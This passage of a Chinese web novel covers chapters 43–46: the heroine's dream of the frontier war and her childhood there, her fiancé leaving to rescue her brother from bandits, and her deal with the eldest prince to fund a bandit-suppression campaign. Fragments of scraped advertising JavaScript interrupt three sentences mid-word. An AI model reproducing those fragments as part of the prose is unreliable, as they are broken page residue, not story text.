“为何?” “因为、我想与你长长久久,不再分离。” 向来自持的黑眸被热气熏烤着,酸胀难忍,他抵着崔时清的额头,闭上了眼。 崔时清不知所措地靠在纪危舟的身上,感受着他微沉的、洒在面皮上温润的气息,呐呐重复道。 “我的、一线生机?” “是,你的。” 突如其然,崔时清轻笑出声,指着纪危舟的心口,笑问:“那么,你以为什么?以为我也会把这个机会送与别人?” “不予,是对的。” 纪危舟安静地看着她,告诉她,期望她如此选择。 “自然!我这样惜命之人,生机与我何其珍贵!知知、知知她再好,哪里比得上我自己?” 崔时清像是被戳中什么,眉眼张扬,笑个不停,又喋喋不休着。 “我运道不好,我才是最需要这个机会的人!哪怕,哪怕我用不到,也可以给丰年啊!你说,他今日是不是很危险?” “是,很危险。” 纪危舟轻拍着崔时清的脊背,点着头。 “是啊,很危险!还有,阿姆、李昶,很多很多人,他们都很需要这样的机会,还有,还有……” 崔时清说得口干舌燥,累得喘不过气来。 她蜷在纪危舟的怀里,一直都在说话,说了许久、许多。直到眼前的画面变得模糊、诡异,断断续续又不成篇幅。 迷迷糊糊之际,车厢被扣响,崔时清挣扎着,强压着浓沉的睡意,望向了车帘外的人。 是张毅,和、身着褐色僧袍的老人。 他们在说什么? 崔时清费劲地倾听着,却怎么也听不清他们的对话,直到耳边传来那个熟悉的、清缓而又悦耳的声音,告诉她。 ——没事了,知知没事了。 崔时清挣扎着,还想说些什么,绵软的小手忽然牵住了她。顿时,她被如山而来的困倦压倒,卸下了浑身的气力,沉沉睡去。 * “有劳禅师入这繁尘一遭。” “能化世间恶业,阿鼻地狱亦去得。帝星切勿忘了佛前所言,终身不可破、不能破。” 老人双手合十、念了一声佛语,如来时那般,一袭旧袍不染世事之纤尘、飘然而去。 43. 恶徒 “胡人来了!快跑!” 崔时清懵怔地看着四周,遍眼荒芜败落的景象,刺鼻的焦味和黄沙夹在在一起,让人不能喘息。 这是哪里? 她满心困惑,但并没有心力深究。 她只知道自己很累,又饥又渴,浑身上下每一寸皮肉都在叫嚣着、痛得无法忍耐。 她很想停下来,靠在一个干净又温暖的地方,歇一歇。 可是人群在由远及近的马蹄声中,相护推搡着,发出阵阵惊恐的尖叫,逼迫着她、跟着惊声呼喊、疯跑逃窜。 锋利的弯刀在酷暑烈日的下,闪动着寒光。 厮杀声起,白刃指天,血水洒落满地,很快便渗入龟裂干渴的土地中,余下暗红色的斑斑点点。 “这是、西北?” 崔时清双手交叠、捂住了喉间散溢的尖叫声,不断趔趄地后退。 “不要害怕。” 少年郎稚嫩的声音在耳畔响起,崔时清顺着他的动作,望向了握住自己的那只、粗糙又肮脏,布满细密老旧伤疤的手掌。 “……咸娃?”崔时清的眼中滚下了泪。 少年郎模糊的面容逐渐清晰,长期饥饿而青灰的小脸上,一双眸子黑亮有神,燃烧着不会熄灭的希望和永不退让的勇气。 掌心多了半个黑馍馍,这是树皮做成的粮食,粗糙又苦涩,让人难以下咽。 然而,却已经是他们最后的口粮了。 “不要。”崔时清不想松开少年的手。 “朝前跑,不要停!” “对,她不能停!不能停!” 她用尽全力奔跑着,把少年的声音甩在身后,把所有可怖的声音一同甩在了身后。 很久、很久。 渐渐地,除了她的呼吸声,四周一片静谧,沉闷地像是坟墓。 城墙、高头大马,出现在了眼前。 “阿爹来接我了……” 崔时清怔怔然地仰头望着,被流民环绕的父亲,一层又一层的人墙,密不透风。 他们在说什么? 阿爹抱的是谁? 让开!这样,阿爹会看不到我的! 崔时清急切地推开面前的人,努力地靠近,直到看清崔其沂怀中、浑身血迹,没有了生息的少年。 黑馍馍掉在了地上。 崔时清又一次被挤到了后面,远远地望着,她的阿爹抱着英勇就义的少年人。 她想。 怎么办?我不想死。 我成不了咸娃这样的好儿郎。 我讨厌这里的一切,贫瘠、战乱,到处都是黄沙荒地,到处都是哭声。 我真的坚持不了了。 崔时清低头看着自己、一身的狼狈,这是外祖母寄来的裙裳,她很喜欢这些小花儿,可是都弄脏了。 远处的阿爹,被流民围绕的南陵侯爷,离她很远。 她过不去,也不想再勉强了。 觑着地上,被无数人踩过的黑馍馍。 这是咸娃留给她的,可、可她真的不想再吃树皮做的馍馍了。 她注定做不了爹娘的好女娘、成不了南陵城百姓心目中的善人之后。 既如此,她便要当世人所言的穷凶极恶之辈,随心所欲过这一生! 她是世家之首的崔氏嫡女,是今上亲封的永宁县主! 她不要阿爹阿娘了,她要离开这里。 “软软!” 崔时清转身离开,再次抛下了所有,去寻自己的坦途。 这一路,很长、很长。 崔时清停不下来,她走着、不停朝前走着,看着身边一闪而过的无数张面孔。 “阿姆?” 她急切地伸出了手,想要拉住柳氏,却抓了空。她想回头,腰间抵着她的手掌,却坚定地推着、让她加快了步伐。 “时娘,快跑!” “一起,一起走吧!阿姆!” 崔时清扭头望着她,看着柳氏离自己越来越远,直到长枪穿胸,如一粒尘埃、落地无声,消失在了这条无尽的长路中。 笙箫之音响起,到处都是彩灯红绸。 “时娘,我要成婚了。” “你不能嫁他。”崔时清摇头拒绝。 蔡梦期穿着厚重的嫁衣,端坐在如牢笼的喜轿中,眼睛晦暗无光,看着她的时候,微微弯唇笑了笑,往昔的鲜活美好如昙花一现,很快无踪。 “走吧,时娘。快跑!” 一阵慌乱间,有人拉住了她的手臂,把她塞进了一口箱子中。 “藏在这里,他们找不到的!” “李昶,我不能,我不能!” 眼前顿时一黑,随之混乱的声响一下下传来。 看着如同羊羔、被五花大绑的李昶,她动了动唇瓣,发不出一丝声音。 她的目光逐渐麻木,没有情绪地望着周围一个又一个,出现又消失的身影,望着不知通向何处的大道。 一个时刻,恐惧突然涌上心头,她举目望去,莫名忘了为什么奔跑。 “咸娃,我好累,跑不动了……” 崔时清张开双臂,闭上了眼睛,任由自己在一阵失重中,跌落。 山风拂来,她被裹挟着,轻轻打了个转,一把长刀贴面划过,她骤然惊起,反身躲闪。 绿衣山匪径直穿透她的身体,举刀追跑,口中发出狰狞的怒吼。 崔时清转身望去,一袭褚色袍衫的男子正被山匪团团围困,如同风中残烛,没有抵挡之力。 她奋力爬起,又重重摔倒,破声惊呼之间,刀光转现,一切化为虚无。 “主子?” 崔时清坐在床榻上,手中攥着米珠镶嵌的香包,垂首低喘着,心中的慌乱并没有因为梦碎而消散。 举起手中的香包,看了许久,才认出来,这里面装着纪危舟调配的香料,有安神助眠之效。 她轻哂一声,歪头看向桑麻,梦境中的画面突然闪过眼前,令其心口发闷,连呼吸重了几分。 “三爷在外间,可要请他过来?”桑麻低声问道。 纪危舟? 崔时清缓慢地摇了摇头,问道:“张知茵,她如何了?” “张家娘子幸得空晖禅师的医治,已然无碍。” 看来,她没有糊涂。 纪危舟求得了空晖禅师的一线生机。 扣弄着香包上的米珠,崔时清沉默了片刻,又问:“丰年呢?” “小公子受了惊吓,夜里找过府医,服过汤药后已睡下,应是没有妨 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 碍的。” 崔时清又发怔地呆坐了片刻,有些疲乏地揉了揉太阳穴,心中乱得很,但还是忍不住发问道:“外间还有何人?” 纪危舟没有直入里屋,必定是被人绊住手脚,才会安分留在外面。 “侯爷和国公爷皆在。” 崔时清怔了一下,冷笑道:“我好端端的、连个磕碰都没有,何至于劳驾他守在此处?” 桑麻低头侍立,不敢应声。 崔时清看着手边的香包,有些厌烦地挥落地上,声音没有起伏地开口道:“让他们走,就说我需要清净,无法招待长辈与兄长,改日自会负荆请罪,请他们原谅。” 桑麻领命退下。 看着复归安静的地方,崔时清颓丧地抱着双膝,耷拉着脑袋。 她,很久没有梦见西北了。 九世之长,她以为自己早已忘了那里,忘了那双灰扑扑又爱笑的眼睛。 久久之后,她才轻叹了一声。 * 也是六岁。 和丰年一样的年纪,小时清跟着父母、兄长离开崔氏主家,来到了西北。 南陵城是一个让她厌恶的名字,听着便觉不祥。遍眼破败荒凉、饥民饿殍,充斥着可怖的气味。 她很想归家,可阿爹阿娘喜欢这里,她也只好装着喜欢,还把小食袋里的桂花糖糕分与一位黑瘦的少年。 他说,他叫咸娃。 这真是一个可笑的名字,若是在崔氏主家听到,她都要替少年羞得不敢见人。 在西北的日子,果真很乏味。 没有她爱吃的瓜果饮子、佳肴盛宴,没有香花美衣,任何精致的玩意都不存在,唯有枯燥、贫苦,连清水的味道都不再是甘甜。 她很苦恼。 但阿爹阿娘眼中只看得到西北百姓,心心念念的都是如何抵御敌寇、如何帮助他们,连兄长也忙碌了起来,起操练武、跟随军士巡逻出行,再没有闲暇陪她玩耍。 她只得更加努力,努力融入这个讨厌的地方。 这一日,她收到外祖母的礼物,还有许多京都城中的糕点瓜果。她想起小村子里的玩伴,便带着几名婢子侍卫,出城而去。 她想,若是阿爹阿娘知道,一定会欢喜的。 走过几次的道路依旧崎岖,坑坑洼洼的乱石,让她很不舒服。 小时清想着父母的赞许,忍耐不适,来到村子,把糕点瓜果和新奇的玩物分与村中的人。 本以为很快就能得到的夸赞,却再没有机会。 敌寇来袭,护卫婢子全都死在胡人弯刀下,她和村子里的人一起逃窜、躲避。来时乘车两个时辰的路,他们却徒步走了三天。 阿爹杀敌而归,在流民中并没有看到她,只抱着为他们引开敌寇而丢掉性命的少年,自责痛惜。 小时清也想让阿爹抱一抱她。 可是,捧着半个树皮做的黑馍馍,她知道自己永远也成为不了他们所希望的那个人。 既然成为不了咸娃那样的好人,她就要成为世间最厉害的恶徒。至少下一次,她不用于流民之中,等待一个认不出她的父亲。 次年,她孤身离开西北。 在最繁华的都城中,享受属于崔氏嫡女的富贵与尊荣,不再回头。 44. 反抗 崔时清陷在回忆中,久久无法抽身。 直到温暖的手掌握住了垂落于膝前的指尖,身体轻微颤动了一下,她缓缓抬头,乌亮的笑眼被一双沉静眸子所取代。 “……你怎么来了?”崔时清问。 纪危舟歪头想了下,“软软不是想要我来负荆请罪,求得你的原谅吗?” 崔时清轻嗤着,踢了一下挨着自己的膝盖,冷眼瞅他,“你就是这么请罪的?” 纪危舟顺势张开四肢,把她蜷在了方寸之间,望着她,弯唇笑着。 “有更适合你我的方式,何必去学旁人了?” 崔时清看着俊朗如画的容颜,清亮而温沉的眼睛,端正笔直的鼻梁,专注望着自己时、微微抿起淡粉的唇瓣,她喜欢一遍又一遍亲吻的地方。 指尖动了动,挤进纪危舟的指缝间,扣住了他的手掌。 看着不同于女子细腻的肌肤,随着回应而微微隆起的青筋,崔时清好奇地观察着从指节至上的脉络。 她想,这会通往他心之所在吗?截断此处,杀得了他吗? 纪危舟躬着身子,垂首蹭了蹭崔时清的脑袋,贴着她的面颊,深深吸了一口气,发出了一声喟叹。 “软软要什么,我都会给你。” 崔时清扫了一眼握住肩头的大掌,强势地把她拢在了身体与臂弯之间,好像要把她揉进身体中,成为他的一部分。 她望着近在咫尺的黑眸,随后垂下眼,沉闷地靠在他的身上,轻声开口。 “我知道。” 只要他想,天道之子可以做到许多、许多连她也无法想象的事情。 纪危舟托着她的后脑,迫使她抬起头来,看着自己,“软软在烦恼什么?” 崔时清没有抵抗他的动作,却依旧垂着眼帘,似是不允许他进入自己的世界。 “看看我吧。” 纪危舟欺身亲吻着她的眼睛,声音中透着一丝乞求。崔时清沉默了一瞬,才在渴望的目光中,抬眸望向了他,眼睛清凌凌的,满是愁绪。 “软软?” 桃花眼里浮起一丝恐慌,很快又隐了下去,崔时清咬着唇瓣,摇了摇头,才道:“我做了一个恶梦。” 大掌抚摸着她的后颈,鼓励她继续说。 “阿兄,我梦见他被困在孤山中,性命垂危,有人想要杀他!”崔时清说完,不安地抱紧了纪危舟。 有人要杀崔长殷。 纪危舟默了一下,在崔时清的发顶落下一串轻吻,“软软是说勉州茂县的孤山土匪?” 崔时清扒拉着他的衣袖,眼巴巴地望着他,“阿兄路遇旧友,临时决定与其同去讨伐土匪。这过了许多天,也没有动静,你说,阿兄会不会有事?” “不会。”纪危舟笃定道。 “……当真?”崔时清忐忑地瞅着他,心中却在思忖着,他的信心似乎不是随口敷衍的言辞,难道他知道什么? 纪危舟面露歉意地抿了抿唇,如实说道:“丰年来院中之日,我见软软心神不安,擅自找来婢子们询问,知道了兄长杀贼之事,便派人探听过。” 自从崔时清重伤以后,因着调理身子的缘由,纪危舟日日出入她院里,下面的人早就听闻他们会结亲,殷勤恭敬,俨然是把纪危舟提前当作姑爷主子来看待的。 有些时候,纪危舟更是越过她,处理起院子里的事情,偏偏柳氏等人还不觉不妥,全部照收照办。 崔时清是不想让奶娘与天道之子作对的,但看着柳氏听命于纪危舟,她心中多少还是有些不自在,和被冒犯权威的气闷。 眼下还有更重要的事情,她没有表露出不满,抓着紧要地问:“你收到什么消息了?” “上月茂县发生了四起山匪入户杀人案,以至于茂县下属的村子皆人心惶惶,联名上表请求官府剿匪。” 崔时清蹙了蹙眉,没有吭声。 纪危舟反手握住她的手,轻轻捏了一下,又道:“县令刘继谦上报州府,要求刺史派兵入山剿匪,但刺史以孤山地大,匪徒巢穴不明为由,拒绝请书兵部。” 崔时清听到此处,冷笑了一下。 前一世山匪之乱,闹得沸沸扬扬,刺史别苑遭到绿意土匪的洗劫,堂堂一州刺史窝囊地死于乱刀之下,举国上下皆哗然。 原来,是他自己造的孽。 “县令刘继谦别无办法,只好自己召集衙役和青壮,入山探查土匪老巢。”纪危舟说到此,停了一下,才道,“茂县县令与兄长有旧时相交之情,遇上兄长时,正要去往孤山。” 要不是因为他们的婚事入京,刘继谦本不会与崔长殷重逢,他会独自带着十名青壮衙役,尸骨无存、死于孤山之中。 次年刺史遭难,朝廷才举兵剿匪。 纪危舟在心中暗叹了一声,把崔时清最关心地说完,“每隔三日,县令刘继谦会令人把绘制好的山形舆图送回县衙,昨日的舆图已经送下山了。” 至少,到昨天为止,她的阿兄还是安全的。 崔时清松了一口气的同时,再次被昨日草场上的所见攫住了心。 她知道,天道不会放过她,不会放过她身边的人。 “阿兄他——” 还没说完,纪危舟出声打断了她,眼神定定地看着崔时清。 “我会前往孤山,把兄长带回来。” 崔时清神情微怔了一瞬,倾身上前,靠在纪危舟的胸膛上,仰着头颅,一眼不眨地望着他,眼眸中闪动着期许,还夹杂着些许忧愁。 “山匪嗜血残暴,你当真愿意前去?” 纪危舟看着她的眼睛,唇角扬起浅笑,手掌托着崔时清后脑勺,轻轻摩挲着。 “我惹了软软不悦,自是要赔罪的。” 崔时清以为他是在说‘一线生机’,默了片刻。 “我没有生气。”张知茵能活着,她是高兴的。 纪危舟夸张地长吁一口气,“软软不生气便好!我也并非想要过早把持着院里的事务,但下面的人不中用,总让你闷闷不乐,我要探明缘由,才可使你宽心。” “……”她没说不气此事啊! 崔时清皱着眉,想要反驳,看着纪危舟欢欢喜喜的模样,又感到有些好笑,戳了戳他的肩膀,问:“郎君成日盯着女院中的小事,不怕别人耻笑?” “得不到女娘欢心的郎君才会眼红碎嘴,我可无空理睬他们。”纪危舟理直气壮。 面对铜墙铁壁一般、不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 可攻破的厚颜,崔时清有点束手无策,只得轻哂着,发出一个怪声,表达她的不满。 “软软?我说的不对吗?”纪危舟黏黏糊糊地搂着她。 “……对、对对对!”崔时清绷着脸,生生忍了下来,挤出了一个扭曲的笑容,问,“你什么时候出发?” 纪危舟似是很喜欢这个表情,掐着她的面颊,在红润的唇瓣上轻啄了几下。 “午后。” 崔时清眉眼微转,粲然笑了。 “十月初二是大吉之日。”双臂揽上纪危舟的脖颈,声音又轻又柔,注满了情深,“兄长回来以后,我们便成婚,从此白首不分离。” 纪危舟的神色微凝,纤长的睫毛顿顿然眨了一下,霎时间、黑眸涌动着满天星辰,眼睛湿漉漉地望着崔时清,连呼吸都灼热了起来。 “白首不分离。” “软软,等我回来。” * 纪危舟走了许久,看着空荡荡的屋子,崔时清有些不太习惯。 十名衣着灰扑的死士悄无声息地出现,跪于脚边。 她看着窗棂下破碎的菖蒲瓷盆,才恍然惊醒,敛起眼底的失落,站了起来,把手边两张临时绘制的舆图,给了为首死士一张。 “找到我阿兄,不惜一切护他周全。” 灰衣人没有一丝犹豫,齐声领命。 崔时清看着面前这十人,轻声道:“去吧,尽早归来。” 死士如来时一样,再次无声无息地离去。 崔时清弯腰,拾起地上的白瓷瓶,打开在鼻尖闻了一下,是木梨花温暖的清香。 她攥着掌心,屋子里昏沉的光影打在面上,让人看不清她的神色。 直到桑麻领着大掌柜崔竹匆匆入内,她才放下白瓷瓶,转身面向光源,神色坚毅地看着来人。 “主子,一切准备妥当。” 握着长鞭,崔时清一身轻便的装束,围着披风,走了出去。 路过她与纪危舟还没砌好的小池塘时,脚步微顿。 等待吗? 崔时清无声地笑了笑。 不,她只能相信自己。 崔时清仰头望着没有云雾的天空,无边无际、傲立于世人之上,一片青蓝,冷漠又无情至极。 你以为我会害怕吗? 天道沉默地注视着她。 你说,你之亲子是帮你、还是帮我? 碧空的蓝调转瞬幽沉了几分,如同隐怒的眸光,蕴含着冷色。 崔时清低低地轻笑着。 我败了八世,眼下才明白,什么天道之子,不过同世人一样,皆是你的傀儡而已。好在,傀儡有了心,就会反抗。 天边聚起一团黑云。 怎么?还是想要劈死我这大逆不道的狂徒? 崔时清的眼睛眨了眨,露出了无辜之色。 我也很想知道,这一世,我若惨死,纪危舟会不会为了白首之约,自毁殉情? 崔时清拨弄着掌心的鞭子,长臂一挥,随着破空之音大笑出声,披风衣袂飘飘而扬,阔步朝前走去。 哪怕不会。 天道触我逆鳞,我便与你之子同归于尽,死生缠绵不休、万世不悔! 45. 相配 纪危舟离开国公府不到一个时辰,崔时清便以他州生意为由,带着大掌柜崔竹和桑麻出了远门。 国公府向来不约束她外出,更何况这还牵扯到她的嫁妆生意,询问过身体情况,又派了一队护卫跟随,便不再过问。 崔其沂夫妇也想派人跟随,得到女儿冷淡的拒绝,不敢继续劝说,只能担忧地目送她离开。 马车急匆匆驶往勉州,第三日清晨到达城中。 崔时清掀开帘子,寒凉的秋风扑面刮来,拂去了眉眼间的困顿。她沉默地看着街道两侧升起的袅袅炊烟,商贾小贩穿梭行走,忙忙碌碌、只等天色大亮起早谋生。 崔竹从后面的车子下来,大步跟在她的左右。 “主子,是否先回别苑休整一番?” 崔时清看了眼天色,“每日卯时正刻,皇长子会往城外营地跑马练兵。此时过去,正好。” 崔竹躬身领命,吩咐在前引路的掌柜,便也骑上马,与侍卫叶霖一同护在车厢旁边。 皇长子赵洛行任团练使,并无府邸居住,但他偏要留在勉州,州府刺史也只得掐着鼻子,修整了一处空置的富商旧宅,临时挂个团练使府宅的匾额,恭请赵洛行入住。 崔时清来到团练使府宅时,恰逢赵洛行准备打马外出。 一行车马停在府宅大门,赵洛行侧目望去,看到一名浑身上下被披风遮挡得严严实实的女娘下了车。 随之落地的,还有一条赤红长鞭。 赵洛行顿时乐了,翻身下马,用长剑挑起鞭身,凌空抓住,把人往身前拉了两步,语气又惊又喜。 “你怎么来了?” 崔时清没有好脸色地瞪了他一眼,在他松了鞭子以后,才开口道:“有笔生意,要不要谈一谈?” 赵洛行勾起嘴角,随手把佩剑扔与身后的侍从。 “旧友相见,何必如此严肃?快,随我入内,勉州可好玩了,我要与你好好言道言道。” 崔时清习惯了赵洛行这副不着调的德性,倒也面色不惊,跟在他的身后,入了府宅。 “两年未见,时娘倒是生得越发动人了。”赵洛行好似没有骨头,整个人都蜷在太师椅上,懒洋洋地托着腮,看着崔时清卸去披风。 崔时清目不斜移地坐在他的对面,直待婢子端上清茶,她才敲了敲桌子。 “啧!也不知是与谁学的,越发无趣了。”赵洛行抱怨了一句,挥了挥手,堂中侍奉的下人便尽数退下。 崔时清也不在意,端起茶盏嗅了嗅清幽的茶香,透过氤氲的水雾,望向对面的男子。 “两年了,你可想归都?” 赵洛行轻挑剑眉,笑而不语。 他没有一日不想,但京都之大,却难以容下他一人。 “长公主诗会的刺杀案,你都知道了?”崔时清安静地看着他。 赵洛行面色微变,即便他隐藏得很好,但在自己的府宅内、熟悉的地方,有些下意识的反应还是藏不住。 这是崔时清的猜测。 自从她知道王重罗等刺客被抓,又秘密处置,宫中隐晦的态度。这些都她想起之前的每一世,刺杀案发生以后,宫中贵妃称病不出,不再出席宫宴,连带着皇长子赵洛行也越发没了存在感。 也许,王重罗和皇长子有勾连,意欲刺杀嫡皇子,争夺储位;又或许,公主府诗会本就是针对皇长子和贵妃的阴谋。 崔时清倾向于后者。 毕竟,这一世王重罗被抓,贵妃没了‘偶感风寒’。 已经避在勉州之地,还是逃不过长刀架于颈上的屈辱。哪怕面团子也受不得这样的委屈,更何况是赵洛行这样的小心眼,定是憋屈得很。 在不加掩饰的目光下,赵洛行指着崔时清的心口,笑了笑。 “听说了!祸害遗千年,还得是永宁县主命大。” 崔时清也笑道:“大皇子不也一样吗?与我同是这世间的煞神灾星,近来皆晦气缠身。” 赵洛行扯了扯左边嘴角,“看来上天还是眷顾我们的,才使得你我这样的煞星可以横行于世、又苟且偷生。” 崔时清散漫地放下茶盏,“祸从口出,小心天道不容,引雷来劈了你这张嘴。” 赵洛行痴痴笑着,身体都颤了起来,连眼神热了几分,直勾勾瞅着她,“你还真是让对我胃口!不如弃了纪家三郎,嫁与我吧!” “不行,成天看着你,会倒我胃口。”崔时清冷冷应道。 赵洛行顿时就笑不出来了,气恼地扛起太师椅,正坐在崔时清的面前,把脸凑过去让她看个明白。 “我哪里生得寒碜了?你说,说不清楚生意也不做了!” 崔时清烦厌地扭开头,在赵洛行不依不饶之下,只得斜睨着他,“你虽也不差,但着实没好的能与我相配呀!” 赵洛行瞪着她,“纪家三郎就足以相配了?!” 崔时清皱着眉,一副他不可理喻地扬声道:“你忘了?他长得好看啊!” “说到底还是一张脸!”赵洛行重重靠在椅背上,气呼呼地指责,“你们这些女娘,就是肤浅!肤浅至极!” 崔时清假笑了一下,慢声慢气道:“你们?” 赵洛行一噎,默默把椅子往后挪了挪,不接这茬。 “说生意!” 崔时清问道:“团练使手下的民兵练得如何了?” 赵洛行收起戏笑,看了她片刻,才说:“有些成效。” 崔时清紧接着问:“缺钱吗?” 赵洛行坐正了身子,“你给?” “崔氏可没有余钱供州府练兵。”崔时清摇了摇头,从袖中取出一枚印信,扔进赵洛行的怀中,“但江南有几名富商却有点闲钱,也很喜欢勉州这个地界,想要出些绵薄之力,助勉州剿平山匪之祸。” 赵洛行漫不经心地拨弄着印信,“山匪之祸?” 崔时清讥嘲地看着他,“大皇子不知道吗?仅仅上月,茂县已发生四起山匪入户的灭门案。” 赵洛行把刻着‘昌’字的印信攥在手心,眸子发冷,沉默了许久,问:“剿匪,你能得到什么?” “我能得到什么?”崔时清自问了一声,嗤笑道,“还不是为了成全我家阿兄的一片好心。” 赵洛行皱眉,“你阿兄不是在西北吗?怎么也牵扯进来了?” “我要成婚,他自然得来。” 崔时清耸了耸肩,皮笑肉不笑道,“至于牵扯,这还不是州府无用,逼得小小九品县令入山犯险,还把我家阿兄也一并带上了孤山。若非如此,我又何必帮 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 你牵线富贾?” 赵洛行思索着,明知故问道:“崔家郎君和茂县县令刘继谦是旧识?” 崔时清面无表情,懒得理他。 赵洛行讪讪然摸了下鼻尖,直入正题,“你的这些富贾能出多少银钱?” 崔时清扯了扯唇角,毫不客气道:“想要别人掏钱,怎么也得使出看家本领,让人掌掌眼才是?” 赵洛行听明白了,点了点头,“永宁县主是想空手套白狼。” 崔时清没有被拆穿的窘迫,依旧淡然地端坐在椅子上,胸有成竹道:“大皇子若是不信,便把印信还来,我再走一趟刺史府宅,想必刺史大人会有几分兴致的。” 进了刺史府宅,他还能分到什么? 赵洛行狠了狠心,下了决断,揣好印信赔笑。 “你我也算是旧时玩伴,情分自在,我怎会不信你呢?”哼!老子出了力,要是连口热汤都不给,你也别想好过! 她刚来京都成天想着如何做天下恶霸,便被半大的赵洛行哄着爬树钻狗洞、四处疯玩,说是玩伴不假,情分还真是一点都没有。 崔时清面色冷沉,把不耐烦写在了眼中。 赵洛行嘻嘻哈哈端起她手边的茶盏,讨好地奉与她,“时娘怎么连个笑脸都没有,让人看着不像是来请兵剿匪,而是寻我讨债的。” 崔时清的视线落在茶盏上,顿了顿,还真想起一笔债务。 “离京之前你找我借的象牙骨鞭呢?准备何时归还?!” “山匪狡诈凶残,还是尽早出发,寻回崔家郎君吧!”赵洛行眼神闪躲,放下了茶盏,站起身来,一脸焦急之色。 崔时清也懒得与他纠缠,从暗袋取出舆图,交与他。 “这是孤山舆图,山寨的位置在此。” 赵洛行定睛看了片刻,再抬头,瞅着崔时清的眼神有些幽沉。 绿衣山匪盘踞孤山多年,靠得就是山势险峻、危峰兀立的优势。 这些年来,州府也不是全无出力,但隐匿在山间的匪徒可攻可守,派出的官兵一旦进入他们的视野,就似羊入虎口,全无抵抗之力。 折损过几批官兵衙役,也得不到有用的情报,久而久之,州府便不敢轻易再动剿匪的念头。 他手下召集的民兵,很多都是身在孤山脚下、受过山匪侵扰的农户,从父辈了解过孤山地势,但比之手中这张舆图,显然是不够看的。 “这是时娘从何得来的?”赵洛行忍不住问道。 崔时清睨了他一眼,故意诱导道:“有钱,你也可以得到。” 赵洛行不疑有他,果真以为她是从山匪手中重金买来,把舆图又看了一遍,捧在怀中不舍得松手,望着崔时清的眼神更是情意绵绵。 “时娘,你我脾性相投、天生一对,岂不比纪家三郎更为合适?不如,你再重新考虑一番?” 崔时清沉吟了片刻,颔首道:“你要是能帮我做一件事、杀一个人,也不是不行的。” 赵洛行当即来了精神,凑近她,“杀谁呀?我一定……” 说话间电闪雷鸣,震得团练使府宅为之一颤。 赵洛行抱着舆图,惊恐地后退了几步,瞪眼问道。 “……你,你莫不是想让我做什么天理难容之事?” 46. 真情 崔时清望着天边聚拢的黑云,凌空甩起长鞭,重重击落面前的长脚几。 “怕什么,打雷而已,还能劈了我不成?” “万一劈了我呢?” 赵洛行跟在她身后,嘀嘀咕咕着,有些后悔逞嘴皮子上的一时之能,犯了天老爷的忌讳。 天打雷劈,该是多么大逆不道啊!这样死了,恐怕都没人胆敢给他收尸殓骨! “少废话,牠可不敢。”崔时清双手叉腰,一副天不怕地不怕的凶横。 “你说谁不敢?总不会是老天爷吧?”赵洛行一言难尽地瞅着她。 崔时清不耐烦地甩了甩长鞭,“快走,不要误了正事。” 赵洛行抓着舆图,磨磨蹭蹭的,不是很敢往外走。 但人为财死。 最终还是狠了狠心,硬着头皮出门。 团练使召集民兵剿匪,哪怕是皇长子也不能一声不吭说走就走。他们先是来到刺史府中,请文书调令。 崔时清没有露面,在街边小巷等着。 原本以为要费些功夫,不料等了不过一盏茶的功夫,赵洛行便回来了。 “如此爽快?难不成我对温刺史存了误解?”崔时清有些意外。 赵洛行举起长剑显摆道:“本皇子宝剑在手,还容得他拖延?” “你砍了他?”崔时清皱起眉。 赵洛行拇指抵着剑柄,出刃半寸,收了手,歪着嘴,小人得志地笑道:“我砍了、一把交椅,治好了刺史大人积年的手疾,为表感谢,他刷刷几下便写好文书盖了大印,一点都不敢耽误。” 崔时清有些嫌恶地抽了抽唇角,“你就不怕他上奏弹劾?” 赵洛行耸了耸肩,奸笑着,“他现在可巴不得我去剿匪,替他抢点功劳呢!” “抢谁的功劳?” 赵洛行挥了挥手,本不欲长他人志气,但还是忍不下快到嘴边的话,干脆直言道:“时娘,你是不是特意寻我开心的?” “你是这么认为的?”崔时清表情冷淡,着实有些后悔来找这么一个全身心眼的混子了。 赵洛行觉得不太像,可是还是觉得有些憋屈,“你可知纪家三郎也来剿匪了,还从兵部请来了三千都护军?” 崔时清错愕道:“三千都护军?他是以粮草督军身份来的?” “不是。”赵洛行瞅着她,心情颇为复杂,“他在父皇面前立下了军令状,自请领兵剿匪,若是没有剿平孤山匪徒,甘愿承担一切罪责。” 军令状? 他就这么有信心?不害怕失败吗? 没有孤山舆图,仅仅凭借三千军士,何来胜算? 他是不是、昏了头了! 崔时清面色冷沉,有些心烦意乱地问:“他是什么时候来的?” “昨日,这会儿该入山了!”说罢,一种被人抢夺先机的感觉,让赵洛行有些气恼,看了眼崔时清身后的马车,急躁地催促,“我们也快些走吧!” 崔时清转身看向护卫叶霖,“我还要处理生意上的事务,有大皇子在,你们都回别苑候着。” 叶霖闻言,有些紧张道:“我等本就是来护卫县主的,怎好在别苑偷闲?” 崔时清不欲与他多言,看了桑麻一眼,后者挡住了叶霖。 “叶侍卫,主子体谅你们连日辛劳,已发了话,您还是跟随崔掌柜回别苑,吃口热乎的茶饭。” 叶霖犹疑了片刻,在小婢子同主子一样沉静的目光下,只得闭上了嘴,双手作揖,领下命令。 崔时清已翻身上马,透过宽大的锥帽,看着桑麻。 “你也跟着回去。” “主子?还是让……” 桑麻还没说完,崔时清就扬鞭策马,跟着赵洛行疾驰而去。 留下一行人等,呆愣愣地站在原地。 叶霖原本还忐忑的心,在看到小婢子也茫然无措的神情时,心中升起了一丝微妙的平衡。 面上如常地陪着她站了片刻,才轻咳一声,唤回走神的女娘,小声说道:“县主也不知何时能归,您也随我们回别苑、吃顿热乎的茶饭?” “……”桑麻看了叶霖一眼,不知他在窃喜什么。 主子要去剿匪,出了什么问题,这茶饭就是他们的最后一餐了! 最终,在崔掌柜的安排下,一行人等皆入了别苑,食不知味地盼着崔时清毫发无损地归来。 * 与刺史一样,唯恐被纪危舟抢了平剿山匪之功的赵洛行,一路领着崔时清,先是去往城郊,点好兵马,便马不停蹄地赶往茂县孤山。 靠近茂县官道时,他们遇上了一小批下山劫道的土匪。 十多名土匪围困一辆马车,正与同等数量的护卫厮杀,看着山匪并没有占上风。 被剿匪功劳和马上可以入袋的钱财迷了心窍,赵洛行原本是不想管的,正准备拐道赶路。 